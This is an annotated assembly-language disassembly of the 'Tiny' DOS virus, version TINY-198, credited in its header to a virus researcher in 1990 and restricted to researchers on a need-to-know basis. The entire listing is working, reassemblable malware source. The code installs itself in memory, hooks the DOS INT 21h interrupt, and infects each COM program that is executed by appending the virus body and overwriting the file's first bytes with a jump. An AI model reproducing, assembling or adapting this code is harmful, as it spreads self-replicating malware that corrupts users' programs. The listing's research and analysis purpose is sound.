page	,132
	name	TINY198
	title	The 'Tiny' virus, version TINY-198
	.radix	16

; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º
; º  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255	     º
; º									     º
; º			 The 'Tiny' Virus, version TINY-198                  º
; º		    Disassembled by Vesselin Bontchev, July 1990	     º
; º									     º
; º		     Copyright (c) Vesselin Bontchev 1989, 1990 	     º
; º									     º
; º	 This listing is only to be made available to virus researchers      º
; º		   or software writers on a need-to-know basis. 	     º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

; The disassembly has been tested by re-assembly using MASM 5.0.

code	segment
	assume	cs:code, ds:code

	org	100

seg_60	equ	600
v_len	equ	v_end-v_entry

start:
	jmp	v_entry 	; Jump to virus code
	db	'M'             ; Virus signature
	mov	ax,4C00 	; Program terminate
	int	21

v_entry:
	call	self		; Determine the start addres of the virus body
self:
	pop	si
	sub	si,3

	push	ax		; Save AX (to keep programs as DISKCOPY happy)

; Check whether the virus is already in memory and just run the program if so:

	mov	ah,0E9
	int	21

	mov	di,seg_60	; Point ES:DI at 0000:0600h (i.e, segment 60h)
	xor	cx,cx		; ES := 0
	mov	es,cx
	mov	cl,v_len	; CX := virus length
	rep	movsb		; Move the virus body there

; Transfer control to cont: by PUSHing its address
; on the stack and executing RETF:

	push	es
	mov	ax,cont-v_entry+seg_60
	push	ax
	retf

; The original first 4 bytes of the infected file:

first4	db	0EBh, 2, 90, 90

; Resume execution from here (but already in segment 60h):

cont:

; Install new INT 21h handler and move the old one at INT 32h:

	mov	di,21*4
	mov	cl,2
	mov	ax,int_21-v_entry+seg_60
	cld
lp:
	push	word ptr es:[di]	; Get old handler's address
	pop	word ptr es:[di+(32-21)*4]	; Move it at INT 32h
	stosw			; Install the new one
	mov	ax,cs
	loop	lp		; Loop until done

; Save the original first 4 bytes of the infected program on the stack:

	push	word ptr cs:[first4-v_entry+seg_60]
	push	word ptr cs:[first4+2-v_entry+seg_60]

run_pgm:
	mov	di,offset start ; Point DI at program's start
	pop	word ptr [di+2] ; Restore the first 4 bytes of the program
	pop	word ptr [di]
	pop	ax		; Restore the original value of AX
	push	ds
	push	ds		; ES := DS
	pop	es
	push	di		; Push 100h on the stack
	retf

mem_chk:

; Push the original first 4 bytes of the infected program on the stack:

	push	word ptr [si+first4-v_entry]
	push	word ptr [si+first4+2-v_entry]
	jmp	run_pgm 	; And run the original program

int_21: 			; New INT 21h handler
	cmp	ah,0E9		; Memory check?
	je	mem_chk 	; If infected, run the original program
	cmp	ax,4B00 	; EXEC function call?
	jne	end_21		; Exit if not

	push	ax		; Save registers used
	push	bx
	push	cx
	push	dx
	push	di
	push	ds
	push	es

	push	cs		; ES := CS
	pop	es

	mov	ax,3D02 	; Open the file for both reading and writting
	int	32
	jc	end_exec	; Exit on error
	mov	bx,ax		; Save the file handle in BX

	mov	ah,3F		; Read the first 4 bytes of the file
	mov	cx,4		; 4 bytes to read
	mov	dx,first4-v_entry+seg_60	; Put them in first4
	mov	di,dx		; Save first4 address in DI
	push	cs		; DS := CS
	pop	ds
	int	32		; Do it

; Check whether the file is already infected or is an .EXE file.
; The former contains the character `M' in its 3rd byte and
; the latter contains it either in the 0th or in the 1st byte.

	push	di		; Save DI
	mov	al,'M'          ; Look for `M'
	repne	scasb
	pop	di		; Restore DI
	je	close		; Exit if file not suitable for infection

	mov	ax,4202 	; Seek to the end of file
	xor	cx,cx
	xor	dx,dx
	int	32		; Do it

	push	ax		; Save file length

	mov	dh,6		; DX = 600h, i.e. point it at 0000:0600h
	mov	cl,v_len	; Length of virus body
	mov	ah,40		; Append virus to file
	int	32		; Do it

	mov	ax,4200 	; Seek to the file beginning
	xor	cx,cx
	xor	dx,dx
	int	32		; Do it

	mov	dx,di		; Point DX at first4
	mov	al,0E9		; Near JMP opcode
	stosb			; Form the first instruction of the file
	pop	ax		; Restore file length in AX
	sub	ax,3		; Subtract 3 (first instruction length)
	stosw			; Form the JMP's opperand
	mov	al,'M'          ; Add a `M' character to mark the file
	stosb			;  as infected

	mov	cl,4		; Overwrite the first 4 bytes of the file
	mov	ah,40
	int	32		; Do it

close:
	mov	ah,3E		; Close the file
	int	32

end_exec:
	pop	es		; Restore used registers
	pop	ds
	pop	di
	pop	dx
	pop	cx
	pop	bx
	pop	ax

; Exit through the original INT 21h handler:

end_21:
	jmp	dword ptr cs:[32*4]

v_end	equ	$		; End of virus body

code	ends
	end	start